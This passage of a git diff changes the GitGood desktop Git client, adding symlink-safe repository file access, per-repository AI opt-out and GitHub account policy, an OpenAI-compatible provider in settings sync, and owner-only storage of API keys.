actually be run. Missing file, symlink (or one leaving the repository), unreadable file or malformed * JSON all resolve to the empty config rather than throwing. */ export async function readRepoConfig(repoPath: string): Promise { - const file = join(repoPath, '.gitgood', 'config.json'); - let text: string; - try { - text = await readFile(file, 'utf8'); - } catch { - return EMPTY_REPO_CONFIG; - } + const file = '.gitgood/config.json'; + const text = (await readRepoFile(repoPath, file))?.toString('utf8'); + if (text === undefined) return EMPTY_REPO_CONFIG; try { const parsed = JSON.parse(text) as unknown; return parseRepoConfig(parsed); @@ -37,6 +34,6 @@ export async function readRepoConfig(repoPath: string): Promise { /** Pure validation, split out for unit testing without touching the filesystem. */ export function parseRepoConfig(raw: unknown): RepoConfig { if (!raw || typeof raw !== 'object') return EMPTY_REPO_CONFIG; - const command = (raw as { postResolveCheck?: unknown }).postResolveCheck; - return { postResolveCheck: typeof command === 'string' && command.trim() ? command : null }; + const { postResolveCheck: command, ai } = raw as { postResolveCheck?: unknown; ai?: unknown }; + return { postResolveCheck: typeof command === 'string' && command.trim() ? command : null, ai: ai !== false }; } diff --git a/src/main/repo/manager.ts b/src/main/repo/manager.ts index c655164..e1d8580 100644 --- a/src/main/repo/manager.ts +++ b/src/main/repo/manager.ts @@ -2,17 +2,17 @@ import { createHash } from 'node:crypto'; import { existsSync } from 'node:fs'; import { basename, join, normalize, resolve } from 'node:path'; import type { EventPayloads } from '@shared/ipc'; -import { repositoryOrigin, type GitHubRepoRef, type RepositoryInfo, type RepoWork } from '@shared/types'; +import { repositoryOrigin, type GitHubRepoRef, type RepositoryInfo, type RepoPrefs, type RepoWork } from '@shared/types'; import { mapWithConcurrency, parseRemoteUrl } from '@shared/util'; import { getBranches } from '../git/branches'; import { currentClient } from '../core/client-context'; import type { GitClient } from '../git/git'; import { getRemotes, getStashes, getTopLevel } from '../git/operations'; -import { getGitDir, getStatus } from '../git/status'; +import { getGitDir, getStatus, getStatusIndicator } from '../git/status'; import { getCommonDir, getMainWorktreePath, listWorktrees } from '../git/worktree'; import { log } from '../logger'; import type { Store } from '../store'; -import { canonicalPath, isInside, normalizePath } from './paths'; +import { canonicalPath, isInside, normalizePath, samePath } from './paths'; import { RepositoryWatcher } from './watcher'; const normalizeForCompare = normalizePath; @@ -66,6 +66,11 @@ export function repositoryId(path: string): string { return createHash('sha1').update(normalized).digest('hex').slice(0, 16); } +/** A linked worktree's own controls for these are disabled: it follows its main repository's machine-local AI opt-out and GitHub account. */ +function withMainPolicy(repo: T, main: RepositoryInfo | undefined): T { + return main ? { ...repo, aiDisabled: main.aiDisabled, githubAccount: main.githubAccount } : repo; +} + export class RepositoryManager { private watchers = new Map(); private githubCache = new Map(); @@ -90,7 +95,31 @@ export class RepositoryManager { if (fresh) this.invalidateWorktrees(); const stored = this.store.getRepositories().map((r) => ({ ...r, missing: !existsSync(r.path) })); const derived = await this.deriveWorktreeChildren(stored); - return [...stored, ...derived].sort((a, b) => a.name.localeCompare(b.name, undefined, { sensitivity: 'base' })); + const mains = new Map(stored.map((r) => [r.id, r])); + return [...stored, ...derived].map((r) => withMainPolicy(r, r.worktreeOf ? mains.get(r.worktreeOf) : undefined)).sort((a, b) => a.name.localeCompare(b.name, undefined, { sensitivity: 'base' })); + } + + /** + * The repository whose machine-local policy (GitHub account, AI opt-out) governs `repoPath`: its own + * entry, or for a linked worktree, registered or only known to git, its main repository's. Null when + * `repoPath` is not (a worktree of) a registered repository. + */ + async policyRepo(repoPath: string): Promise { + const repos = this.store.getRepositories(); + const own = repos.find((r) => samePath(r.path, repoPath)); + if (own) return own.worktreeOf ? (repos.find((r) => r.id === own.worktreeOf) ?? own) : own; + // ponytail: one `git rev-parse` per call for an unregistered path; cache if derived worktrees get hot. + try { + const mainPath = await getMainWorktreePath(this.git, repoPath); + return mainPath ? (repos.find((r) => samePath(r.path, mainPath)) ?? null) : null; + } catch { + return null; + } + } + + /** The repository paths some client (desktop window or server client) currently has open. */ + openPaths(): string[] { + return [...new Set(this.watching.values())]; } /** `git worktree list` output per main repository, cached briefly so that event-driven list(false) calls are not a git run per repository each time. */ @@ -447,6 +476,26 @@ export class RepositoryManager { this.send('repos.changed', await this.list(false)); } + /** Machine-local list/commit/account prefs; only the keys present in `prefs` change (a blank group, or a null/malformed githubAccount, clears it). */ + async setPrefs(id: string, prefs: RepoPrefs): Promise { + const patch: Partial = {}; + if (prefs.pinned !== undefined) patch.pinned = prefs.pinned === true || undefined; + if (prefs.group !== undefined) patch.group = typeof prefs.group === 'string' ? prefs.group.trim().slice(0, 60) || undefined : undefined; + if (prefs.signoff !== undefined) patch.signoff = prefs.signoff === true || undefined; + if (prefs.githubAccount !== undefined) { + // host and login end up in gh/git argv and a git config key: plain hostname / login characters only. + const a = prefs.githubAccount; + patch.githubAccount = a && /^[A-Za-z0-9][A-Za-z0-9.-]*$/.test(a.host) && /^\w[\w.-]*$/.test(a.login) ? { host: a.host, login: a.login } : undefined; + } + this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, ...patch } : r))); + this.send('repos.changed', await this.list(false)); + } + + async setAiDisabled(id: string, disabled: boolean): Promise { + this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, aiDisabled: disabled || undefined } : r))); + this.send('repos.changed', await this.list(false)); + } + touch(id: string): void { this.store.saveRepositories(this.store.getRepositories().map((r) => (r.id === id ? { ...r, lastOpened: Date.now() } : r))); const recent = [id, ...this.store.getState().recentRepositoryIds.filter((r) => r !== id)].slice(0, 10); @@ -480,7 +529,7 @@ export class RepositoryManager { const info = (await this.getOrAdd(path)); this.touch(info.id); await this.watch(info.path); - return { ...info, github: await this.detectGitHub(info.path) }; + return withMainPolicy({ ...info, github: await this.detectGitHub(info.path) }, info.worktreeOf ? this.get(info.worktreeOf) ?? undefined : undefined); } private async getOrAdd(path: string): Promise { @@ -535,6 +584,11 @@ export class RepositoryManager { this.stopIfUnwanted(repoPath); } + /** The clients (see core/client-context) currently showing `repoPath`. */ + clientsWatching(repoPath: string): string[] { + return [...this.watching].filter(([, path]) => path === repoPath).map(([owner]) => owner); + } + /** Stops watching `repoPath` for every client (the repository was removed). */ stopWatching(repoPath: string): void { for (const [owner, path] of this.watching) if (path === repoPath) this.watching.delete(owner); @@ -563,8 +617,7 @@ export class RepositoryManager { const updated = await mapWithConcurrency(repos, 3, async (repo): Promise => { if (!existsSync(repo.path)) return { ...repo, indicator: null }; try { - const status = await getStatus(this.git, repo.path); - return { ...repo, indicator: { ahead: status.branch.ahead, behind: status.branch.behind, hasChanges: status.files.length > 0 } }; + return { ...repo, indicator: await getStatusIndicator(this.git, repo.path) }; } catch { return { ...repo, indicator: null }; } @@ -573,17 +626,14 @@ export class RepositoryManager { // Derived (unregistered) worktrees are not persisted, so their indicators // are computed fresh here rather than cached across refreshes. const list = await this.list(false); - const withDerivedIndicators = await Promise.all( - list.map(async (r) => { - if (!r.worktreeOf || r.missing || updated.some((u) => u.id === r.id)) return r; - try { - const status = await getStatus(this.git, r.path); - return { ...r, indicator: { ahead: status.branch.ahead, behind: status.branch.behind, hasChanges: status.files.length > 0 } }; - } catch { - return r; - } - }), - ); + const withDerivedIndicators = await mapWithConcurrency(list, 3, async (r) => { + if (!r.worktreeOf || r.missing || updated.some((u) => u.id === r.id)) return r; + try { + return { ...r, indicator: await getStatusIndicator(this.git, r.path) }; + } catch { + return r; + } + }); this.send('repos.changed', withDerivedIndicators); return withDerivedIndicators; } diff --git a/src/main/repo/paths.ts b/src/main/repo/paths.ts index 7c47e33..c0bfac4 100644 --- a/src/main/repo/paths.ts +++ b/src/main/repo/paths.ts @@ -1,5 +1,5 @@ -import { realpath } from 'node:fs/promises'; -import { normalize, parse, sep } from 'node:path'; +import { lstat, readFile, realpath, writeFile } from 'node:fs/promises'; +import { dirname, join, normalize, parse, sep } from 'node:path'; /** * Path comparison for watched folders and exclusions, matching the rules @@ -49,3 +49,50 @@ export function isInside(parent: string, child: string): boolean { const c = normalizePath(child); return c === p || c.startsWith(p.endsWith(sep) ? p : p + sep); } + +/** + * Reads a regular file inside the repository, or returns null. Repo contents are + * untrusted: a symlink (or a symlinked parent directory) must never make us read + * — and later upload to an AI backend or run — a file outside the repo. Symlinks + * are refused outright and the resolved path must stay inside the resolved repo. + * ponytail: lstat/realpath then read is not atomic; a racing local writer could swap in a link. + */ +export async function readRepoFile(repoPath: string, relPath: string): Promise { + try { + const file = join(repoPath, ...relPath.split('/')); + if (!(await lstat(file)).isFile()) return null; + if (!isInside(await realpath(repoPath), await realpath(file))) return null; + return await readFile(file); + } catch { + return null; + } +} + +/** Throws unless the deepest existing ancestor of `fsPath` resolves (symlinks included) to a place inside the repository. For writes that may create new directories. */ +export async function assertInsideRepo(repoPath: string, fsPath: string): Promise { + const root = await realpath(repoPath); + let dir = dirname(fsPath); + for (;;) { + try { + if (isInside(root, await realpath(dir))) return; + throw new Error(`Path escapes the repository: ${fsPath}`); + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') throw err; + dir = dirname(dir); + } + } +} + +/** + * Writes `content` to `relPath` inside the repository, refusing a symlinked leaf + * (an in-repo link pointing outside would otherwise be written through) and any + * path whose parent resolves outside the repo. For AI-generated file writes. + * ponytail: lstat then write is not atomic; a racing local writer could swap in a link. + */ +export async function writeRepoFile(repoPath: string, relPath: string, content: string): Promise { + const file = join(repoPath, ...relPath.split('/')); + await assertInsideRepo(repoPath, file); + const leaf = await lstat(file).catch((err: NodeJS.ErrnoException) => (err.code === 'ENOENT' ? null : Promise.reject(err))); + if (leaf?.isSymbolicLink()) throw new Error(`Refusing to write through a symbolic link: ${relPath}`); + await writeFile(file, content, 'utf8'); +} diff --git a/src/main/settings/sync-core.ts b/src/main/settings/sync-core.ts index 4fd716f..d2537b5 100644 --- a/src/main/settings/sync-core.ts +++ b/src/main/settings/sync-core.ts @@ -7,6 +7,7 @@ * replacement) so this can be unit tested and reasoned about in isolation. */ import type { + AiFeature, AiSettings, AppSettings, GitHubRepoRef, @@ -22,6 +23,7 @@ import type { SettingsSyncStateName, } from '@shared/types'; import { DEFAULT_SETTINGS } from '@shared/types'; +import { sanitizeShortcutOverrides } from '@shared/shortcuts'; export const SETTINGS_EXPORT_SCHEMA = 1; export const GIST_DESCRIPTION = 'GitGood settings'; @@ -63,23 +65,27 @@ const PREFERENCE_KEYS = { healthLargeFileThresholdBytes: true, showUnpushedWorkIndicator: true, historyVerifySignatures: true, + historyGraph: true, notificationsEnabled: true, notificationsPollIntervalMinutes: true, notifyMentions: true, notifyReviewRequests: true, + shortcuts: true, ai: true, } satisfies Record; const AI_PREFERENCE_KEYS = { provider: true, model: true, + openaiBaseUrl: true, + openaiModel: true, + featureModels: true, effort: true, autoStageAfterResolve: true, reviewStrictness: true, reviewMaxFiles: true, reviewPostFooter: true, agentCommand: true, - agentCustomCommand: true, } satisfies Record; const INTEGRATION_KEYS = { @@ -114,6 +120,7 @@ const BOOLEAN_PREFERENCE_KEYS = new Set([ 'blameIgnoreWhitespace', 'showUnpushedWorkIndicator', 'historyVerifySignatures', + 'historyGraph', 'notificationsEnabled', 'notifyMentions', 'notifyReviewRequests', @@ -127,14 +134,15 @@ const ENUM_PREFERENCE_KEYS: Partial> = { - provider: ['anthropic', 'claude-cli', 'disabled'], + provider: ['anthropic', 'claude-cli', 'openai-compatible', 'disabled'], effort: ['low', 'medium', 'high', 'xhigh', 'max'], reviewStrictness: ['strict', 'balanced', 'thorough'], agentCommand: ['claude', 'codex', 'omp', 'custom'], }; -const AI_STRING_KEYS = new Set(['model', 'agentCustomCommand']); +const AI_STRING_KEYS = new Set(['model', 'openaiBaseUrl', 'openaiModel']); const AI_BOOLEAN_KEYS = new Set(['autoStageAfterResolve', 'reviewPostFooter']); const AI_NUMBER_KEYS = new Set(['reviewMaxFiles']); +const AI_FEATURES: Record = { resolver: true, commitMessage: true, review: true, split: true, triage: true, prDraft: true, rebase: true, releaseNotes: true, explain: true, errorExplain: true, nlPalette: true }; export function buildPortablePreferences(settings: AppSettings): PortablePreferences { const out: Record = {}; @@ -184,6 +192,14 @@ export function buildSettingsExport(opts: BuildExportOptions): SettingsExport { // Validation // --------------------------------------------------------------------------- +/** Keeps only known features with string model names; null when `raw` is not an object. */ +function validateFeatureModels(raw: unknown): Partial> | null { + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return null; + const out: Partial> = {}; + for (const [feature, model] of Object.entries(raw)) if (Object.hasOwn(AI_FEATURES, feature) && typeof model === 'string' && model.trim()) out[feature as AiFeature] = model.trim(); + return out; +} + function validateAi(raw: unknown): { value: Partial; warnings: string[] } { const warnings: string[] = []; const value: Partial = {}; @@ -200,6 +216,10 @@ function validateAi(raw: unknown): { value: Partial; warning if (AI_ENUM_KEYS[k]) { if (typeof v === 'string' && AI_ENUM_KEYS[k]!.includes(v)) (value as Record)[k] = v; else warnings.push(`preferences.ai.${key}: unexpected value, ignored`); + } else if (k === 'featureModels') { + const models = validateFeatureModels(v); + if (models) value.featureModels = models; + else warnings.push(`preferences.ai.${key}: expected an object of model names, ignored`); } else if (AI_STRING_KEYS.has(k)) { if (typeof v === 'string') (value as Record)[k] = v; else warnings.push(`preferences.ai.${key}: expected a string, ignored`); @@ -236,6 +256,14 @@ function validatePreferences(raw: unknown): { value: Partial)[k] = v; else warnings.push(`preferences.${key}: expected a boolean, ignored`); @@ -368,6 +396,8 @@ export function buildPreferencesPatch(current: AppSettings, incoming: Partial = { ...baseRest, ...incomingRest }; patch.ai = { ...current.ai, ...baseAi, ...(incomingAi ?? {}) } as AiSettings; + // Merge overlays per action so shortcuts the file does not mention keep their local binding. + if (mode === 'merge' && incomingRest.shortcuts) patch.shortcuts = { ...current.shortcuts, ...incomingRest.shortcuts }; return patch; } @@ -496,10 +526,10 @@ function countPatchChanges(current: AppSettings, patch: Partial): n for (const key of Object.keys(patch) as (keyof AppSettings)[]) { if (key === 'ai') { const patchAi = patch.ai; - if (patchAi) for (const ak of Object.keys(patchAi) as (keyof AiSettings)[]) if (current.ai[ak] !== patchAi[ak]) changes++; + if (patchAi) for (const ak of Object.keys(patchAi) as (keyof AiSettings)[]) if (JSON.stringify(current.ai[ak]) !== JSON.stringify(patchAi[ak])) changes++; continue; } - if ((current as unknown as Record)[key] !== (patch as Record)[key]) changes++; + if (JSON.stringify((current as unknown as Record)[key]) !== JSON.stringify((patch as Record)[key])) changes++; } return changes; } diff --git a/src/main/store.ts b/src/main/store.ts index 60b7913..c738619 100644 --- a/src/main/store.ts +++ b/src/main/store.ts @@ -15,22 +15,35 @@ interface Persisted { value: T; } +/** A missing file is the normal first-run case. A file that fails to parse is moved aside as `.corrupt-` so the next write cannot silently destroy it. */ function readJson(file: string, fallback: T): T { + let text: string; + try { + text = readFileSync(file, 'utf8'); + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') log.error(`Failed to read ${file}`, err); + return fallback; + } try { - if (!existsSync(file)) return fallback; - const text = readFileSync(file, 'utf8'); return { ...fallback, ...(JSON.parse(text) as T) }; } catch (err) { - log.error(`Failed to read ${file}`, err); + const preserved = `${file}.corrupt-${Date.now()}`; + try { + renameSync(file, preserved); + log.error(`${file} is not valid JSON; kept as ${preserved} and starting from defaults`, err); + } catch (renameErr) { + log.error(`${file} is not valid JSON and could not be preserved`, renameErr); + } return fallback; } } +/** Files here hold repo paths and (on the plaintext fallback) the API key, so they are owner-only; the temp file is created with the mode so it is never briefly readable. POSIX only, ignored on Windows. */ function writeJson(file: string, value: unknown): void { const dir = join(file, '..'); - if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 }); const tmp = `${file}.tmp`; - writeFileSync(tmp, JSON.stringify(value, null, 2)); + writeFileSync(tmp, JSON.stringify(value, null, 2), { mode: 0o600 }); renameSync(tmp, file); } @@ -89,6 +102,7 @@ const EMPTY_SETTINGS_SYNC: SettingsSyncState = { gistId: null, lastSyncedAt: nul interface SecretsFile { anthropicApiKey: string | null; + openaiApiKey: string | null; } /** Cached notifications inbox: the items shown while offline/before the first poll, and enough of the server's conditional-request state to resume without re-fetching everything. Titles of private repositories live here (see Options → Advanced's "Clear inbox cache"). */ @@ -132,8 +146,9 @@ export class Store { excludedRepositoryPaths: [], }), }; - this.secrets = { file: join(this.dir, 'secrets.json'), value: readJson(join(this.dir, 'secrets.json'), { anthropicApiKey: null }) }; + this.secrets = { file: join(this.dir, 'secrets.json'), value: readJson(join(this.dir, 'secrets.json'), { anthropicApiKey: null, openaiApiKey: null }) }; this.settings.value.ai.hasApiKey = this.getApiKey() !== null; + this.settings.value.ai.hasOpenaiApiKey = this.getOpenaiApiKey() !== null; this.inbox = { file: join(this.dir, 'inbox.json'), value: readJson(join(this.dir, 'inbox.json'), EMPTY_INBOX_CACHE) }; } @@ -143,7 +158,7 @@ export class Store { updateSettings(patch: Partial): AppSettings { const next: AppSettings = { ...this.settings.value, ...patch }; - if (patch.ai) next.ai = { ...this.settings.value.ai, ...patch.ai, hasApiKey: this.getApiKey() !== null }; + if (patch.ai) next.ai = { ...this.settings.value.ai, ...patch.ai, hasApiKey: this.getApiKey() !== null, hasOpenaiApiKey: this.getOpenaiApiKey() !== null }; this.settings.value = next; writeJson(this.settings.file, next); for (const l of this.listeners) l(next); @@ -229,7 +244,11 @@ export class Store { } getApiKey(): string | null { - const stored = this.secrets.value.anthropicApiKey; + return this.readSecret('anthropicApiKey'); + } + + private readSecret(field: keyof SecretsFile): string | null { + const stored = this.secrets.value[field]; if (!stored) return null; try { if (stored.startsWith('enc:')) return this.platform.decryptSecret(stored.slice(4)); @@ -260,19 +279,32 @@ export class Store { } setApiKey(key: string | null): void { + this.storeSecret('anthropicApiKey', 'hasApiKey', key); + } + + /** API key for the OpenAI-compatible provider; stored and encrypted exactly like the Anthropic key and never exported. */ + getOpenaiApiKey(): string | null { + return this.readSecret('openaiApiKey'); + } + + setOpenaiApiKey(key: string | null): void { + this.storeSecret('openaiApiKey', 'hasOpenaiApiKey', key); + } + + private storeSecret(field: keyof SecretsFile, flag: 'hasApiKey' | 'hasOpenaiApiKey', key: string | null): void { let stored: string | null = null; if (key) { const encrypted = this.platform.encryptSecret(key); if (encrypted) { stored = `enc:${encrypted}`; } else { - log.warn('OS encryption unavailable; storing API key with restricted file permissions only'); + log.warn('OS encryption unavailable; storing API key in plaintext in secrets.json (owner-only file permissions)'); stored = key; } } - this.secrets.value = { anthropicApiKey: stored }; + this.secrets.value = { ...this.secrets.value, [field]: stored }; writeJson(this.secrets.file, this.secrets.value); - this.settings.value = { ...this.settings.value, ai: { ...this.settings.value.ai, hasApiKey: stored !== null } }; + this.settings.value = { ...this.settings.value, ai: { ...this.settings.value.ai, [flag]: stored !== null } }; writeJson(this.settings.file, this.settings.value); for (const l of this.listeners) l(this.settings.value); } @@ -334,6 +366,8 @@ export class Store { const { patch: integrationsPatch } = buildIntegrationsPatch(this.settings.value, file.integrations, mode, file.platform, process.platform); patch = { ...patch, ...integrationsPatch }; } + // An imported file must not be able to point the stored key at another server: a changed base URL drops the key. + if (patch.ai && patch.ai.openaiBaseUrl !== this.settings.value.ai.openaiBaseUrl && this.getOpenaiApiKey() !== null) this.setOpenaiApiKey(null); const settings = Object.keys(patch).length ? this.updateSettings(patch) : this.settings.value; if (sections.includes('repositories') && file.repositories) { diff --git a/src/main/tools.ts b/src/main/tools.ts index eec5cf0..507a27d 100644 --- a/src/main/tools.ts +++ b/src/main/tools.ts @@ -1,11 +1,21 @@ import { access, constants, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; -import { delimiter, join } from 'node:path'; -import type { GitHubAccount, ToolInfo, ToolsState } from '@shared/types'; +import { delimiter, join, normalize } from 'node:path'; +import type { GhAccountEntry, GitHubAccount, RepositoryInfo, ToolInfo, ToolsState } from '@shared/types'; +import { compareVersions, MIN_TOOL_VERSIONS } from '@shared/util'; +import { repoScope } from './core/client-context'; import { exec } from './exec'; +import { parseGhAuthStatus, primaryAccount } from './gh/accounts'; +import { GitError } from './git/git'; import { log } from './logger'; import type { Store } from './store'; +/** Marks `info` outdated (with the minimum) when its version is known and below `min`; never blocks. */ +export function flagOutdated(info: ToolInfo, min: string): ToolInfo { + if (!info.installed || !info.version) return info; + return compareVersions(info.version, min) < 0 ? { ...info, outdated: true, minVersion: min } : info; +} + const isWindows = process.platform === 'win32'; async function isExecutable(file: string): Promise { @@ -85,35 +95,60 @@ async function loginShellPath(): Promise { return null; } +type ProbeKey = 'git' | 'gh' | 'claudeCli' | 'gitLfs' | 'gpg' | 'sshKeygen'; +type Probes = Record>; + +const PENDING: ToolInfo = { installed: false, version: null, path: null, error: null, pending: true }; +const samePath = (a: string, b: string): boolean => (isWindows ? normalize(a).toLowerCase() === normalize(b).toLowerCase() : normalize(a) === normalize(b)); + export class ToolLocator { private state: ToolsState = { - git: { installed: false, version: null, path: null, error: null }, - gh: { installed: false, version: null, path: null, error: null }, - claudeCli: { installed: false, version: null, path: null, error: null }, - gitLfs: { installed: false, version: null, path: null, error: null }, - gpg: { installed: false, version: null, path: null, error: null }, - sshKeygen: { installed: false, version: null, path: null, error: null }, + git: { ...PENDING }, + gh: { ...PENDING }, + claudeCli: { ...PENDING }, + gitLfs: { ...PENDING }, + gpg: { ...PENDING }, + sshKeygen: { ...PENDING }, ghAccount: null, + ghAccounts: [], ghAuthError: null, credentialHelperConfigured: false, }; - private envCache: NodeJS.ProcessEnv | null = null; + /** One shared login-shell PATH lookup; concurrent probes await the same promise. */ + private envPromise: Promise | null = null; + private probes: Probes | null = null; private refreshing: Promise | null = null; - private located: Promise | null = null; + private readonly listeners = new Set<(state: ToolsState) => void>(); + /** In-memory only: `host\0login` → token from `gh auth token --user`. Never logged, persisted or exported. */ + private readonly accountTokens = new Map>(); constructor(private readonly store: Store) {} + /** The repository whose machine-local policy governs a path; the entry points swap in `RepositoryManager.policyRepo` so linked worktrees follow their main repository. */ + policyRepo: (repoPath: string) => Promise = async (repoPath) => this.store.getRepositories().find((r) => samePath(r.path, repoPath)) ?? null; + + /** Called with the new state whenever a probe or the auth read settles (renderers get it as `tools.changed`). */ + onChange(listener: (state: ToolsState) => void): void { + this.listeners.add(listener); + } + + private patch(patch: Partial): void { + this.state = { ...this.state, ...patch }; + for (const listener of this.listeners) listener(this.state); + } + /** process.env augmented with the user's login-shell PATH (mac/Linux GUI launches have a minimal PATH). */ - async env(): Promise { - if (this.envCache) return this.envCache; - const env: NodeJS.ProcessEnv = { ...process.env }; - const shellPath = await loginShellPath(); - if (shellPath) { - const merged = new Set([...(shellPath.split(delimiter)), ...((env.PATH ?? '').split(delimiter))]); - env.PATH = [...merged].filter(Boolean).join(delimiter); - } - this.envCache = env; - return env; + env(): Promise { + this.envPromise ??= (async () => { + const env: NodeJS.ProcessEnv = { ...process.env }; + const shellPath = await loginShellPath(); + if (shellPath) { + const merged = new Set([...shellPath.split(delimiter), ...(env.PATH ?? '').split(delimiter)]); + env.PATH = [...merged].filter(Boolean).join(delimiter); + } + return env; + })(); + return this.envPromise; } current(): ToolsState { @@ -135,24 +170,32 @@ export class ToolLocator { } /** - * Fast local discovery of the git/gh/claude binaries (no network). Runs once; - * git and gh commands await this so early requests never race the startup scan. + * Starts every probe at once (no network; a slow one never delays another). Each probe updates the + * state when it settles; a restart (`refresh`) makes results of the previous round discard themselves. */ - ensureLocated(): Promise { - if (this.located) return this.located; - this.located = (async () => { - const settings = this.store.getSettings(); - const [git, gh, claudeCli, gpg, sshKeygen] = await Promise.all([ - this.locate('git', settings.gitPath, ['--version'], (o) => /git version (\S+)/.exec(o)?.[1] ?? null), - this.locate('gh', settings.ghPath, ['--version'], (o) => /gh version (\S+)/.exec(o)?.[1] ?? null), - this.locate('claude', settings.ai.claudeCliPath, ['--version'], (o) => o.trim().split('\n')[0]?.trim() || null), - this.locate('gpg', null, ['--version'], (o) => /gpg \(GnuPG\) (\S+)/.exec(o)?.[1] ?? null), - this.locateSshKeygen(), - ]); - const gitLfs = await this.locateLfs(git); - this.state = { ...this.state, git, gh, claudeCli, gitLfs, gpg, sshKeygen }; - })(); - return this.located; + private startProbes(): Probes { + if (this.probes) return this.probes; + const settings = this.store.getSettings(); + const mine = {} as Probes; + this.probes = mine; + const track = (key: ProbeKey, probe: Promise): void => { + mine[key] = probe.then((info) => { + if (this.probes === mine) this.patch({ [key]: info }); + return info; + }); + }; + track('git', this.locate('git', settings.gitPath, ['--version'], (o) => /git version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.git))); + track('gh', this.locate('gh', settings.ghPath, ['--version'], (o) => /gh version (\S+)/.exec(o)?.[1] ?? null).then((i) => flagOutdated(i, MIN_TOOL_VERSIONS.gh))); + track('claudeCli', this.locate('claude', settings.ai.claudeCliPath, ['--version'], (o) => o.trim().split('\n')[0]?.trim() || null)); + track('gpg', this.locate('gpg', null, ['--version'], (o) => /gpg \(GnuPG\) (\S+)/.exec(o)?.[1] ?? null)); + track('sshKeygen', this.locateSshKeygen()); + track('gitLfs', mine.git.then((git) => this.locateLfs(git))); + return mine; + } + + /** Resolves with that tool's info once its probe has finished; git commands wait for the git probe only, never for gh/claude/gpg. */ + ensure(key: ProbeKey): Promise { + return this.startProbes()[key]; } /** @@ -194,15 +237,21 @@ export class ToolLocator { } } + /** Re-probes every tool (settings changed, Setup "re-check") and re-reads the gh sign-in state. */ refresh(): Promise { if (this.refreshing) return this.refreshing; - this.located = null; - this.refreshing = this.doRefresh().finally(() => { + this.probes = null; + this.refreshing = this.readAuth().finally(() => { this.refreshing = null; }); return this.refreshing; } + /** Re-reads only the gh sign-in state (accounts, credential helper); tool probes stay as they are. */ + refreshAuth(): Promise { + return this.readAuth(); + } + private async locate(tool: 'git' | 'gh' | 'claude' | 'gpg' | 'sshKeygen', override: string | null, versionArgs: string[], parse: (out: string) => string | null): Promise { const env = await this.env(); let path: string | null = null; @@ -221,49 +270,30 @@ export class ToolLocator { } } - private async doRefresh(): Promise { - await this.ensureLocated(); - const { git, gh, claudeCli } = this.state; - const next: ToolsState = { ...this.state, git, gh, claudeCli }; - if (gh.installed && gh.path) { - const auth = await this.readGhAuth(gh.path); - next.ghAccount = auth.account; - next.ghAuthError = auth.error; - } else { - next.ghAccount = null; - next.ghAuthError = null; - } - next.credentialHelperConfigured = git.installed && git.path ? await this.checkCredentialHelper(git.path) : false; - this.state = next; - return next; + private async readAuth(): Promise { + this.accountTokens.clear(); + const { git, gh } = this.startProbes(); + const [gitInfo, ghInfo] = await Promise.all([git, gh]); + const auth = ghInfo.installed && ghInfo.path ? await this.readGhAuth(ghInfo.path) : { accounts: [], account: null, error: null }; + const credentialHelperConfigured = gitInfo.installed && gitInfo.path ? await this.checkCredentialHelper(gitInfo.path) : false; + this.patch({ ghAccount: auth.account, ghAccounts: auth.accounts, ghAuthError: auth.error, credentialHelperConfigured }); + return this.state; } - private async readGhAuth(ghPath: string): Promise<{ account: GitHubAccount | null; error: string | null }> { + private async readGhAuth(ghPath: string): Promise<{ accounts: GhAccountEntry[]; account: GitHubAccount | null; error: string | null }> { const env = await this.ghEnv(); + const none = { accounts: [], account: null }; try { - const result = await exec(ghPath, ['auth', 'status', '--json', 'hosts'], { env, timeoutMs: 20000, okExitCodes: [1] }); - const text = result.stdout.trim(); - if (!text.startsWith('{')) { - return { account: null, error: result.stderr.includes('not logged') ? null : result.stderr.trim() || null }; + // `--json hosts` needs gh 2.67+; older gh fails with "unknown flag" and gets the human-readable output instead. + let result = await exec(ghPath, ['auth', 'status', '--json', 'hosts'], { env, timeoutMs: 20000, okExitCodes: [1] }); + if (!result.stdout.trim().startsWith('{') && /unknown flag/i.test(result.stderr)) { + result = await exec(ghPath, ['auth', 'status'], { env, timeoutMs: 20000, okExitCodes: [1] }); } - const parsed = JSON.parse(text) as { hosts: Record }; - let entry: { state: string; active: boolean; host: string; login: string; scopes: string; gitProtocol: string } | null = null; - for (const list of Object.values(parsed.hosts ?? {})) { - const active = list.find((e) => e.active && e.state === 'success') ?? list.find((e) => e.state === 'success'); - if (active) { - entry = active; - if (active.host === 'github.com') break; - } - } - if (!entry) return { account: null, error: null }; - const account: GitHubAccount = { - login: entry.login, - name: null, - avatarUrl: null, - host: entry.host, - scopes: entry.scopes ? entry.scopes.split(',').map((s) => s.trim()).filter(Boolean) : [], - protocol: entry.gitProtocol || null, - }; + const isJson = result.stdout.trim().startsWith('{'); + const accounts = parseGhAuthStatus(isJson ? result.stdout : `${result.stdout}\n${result.stderr}`); + const entry = primaryAccount(accounts); + if (!entry) return { ...none, error: /not logged/i.test(`${result.stdout}${result.stderr}`) ? null : result.stderr.trim() || null }; + const account: GitHubAccount = { login: entry.login, name: null, avatarUrl: null, host: entry.host, scopes: entry.scopes, protocol: entry.protocol }; try { const user = await exec(ghPath, ['api', 'user', '--hostname', entry.host, '--jq', '{login: .login, name: .name, avatar_url: .avatar_url}'], { env, timeoutMs: 20000 }); const u = JSON.parse(user.stdout) as { login: string; name: string | null; avatar_url: string | null }; @@ -272,9 +302,9 @@ export class ToolLocator { } catch (err) { log.warn(`Could not fetch GitHub profile: ${(err as Error).message}`); } - return { account, error: null }; + return { accounts, account, error: null }; } catch (err) { - return { account: null, error: (err as Error).message }; + return { ...none, error: (err as Error).message }; } } @@ -290,6 +320,36 @@ export class ToolLocator { return env; } + /** + * The account chosen for the repository at `repoPath` (Repository settings → GitHub account) with its + * token, or null when the repository follows the host's active account. The token is fetched from + * `gh auth token --user` once and kept in memory only. A chosen account that is no longer signed in + * is an error: silently using another identity could push as the wrong user. + */ + async repoAccount(repoPath: string | null | undefined): Promise<{ host: string; token: string } | null> { + const path = repoPath ?? repoScope.getStore(); + const chosen = 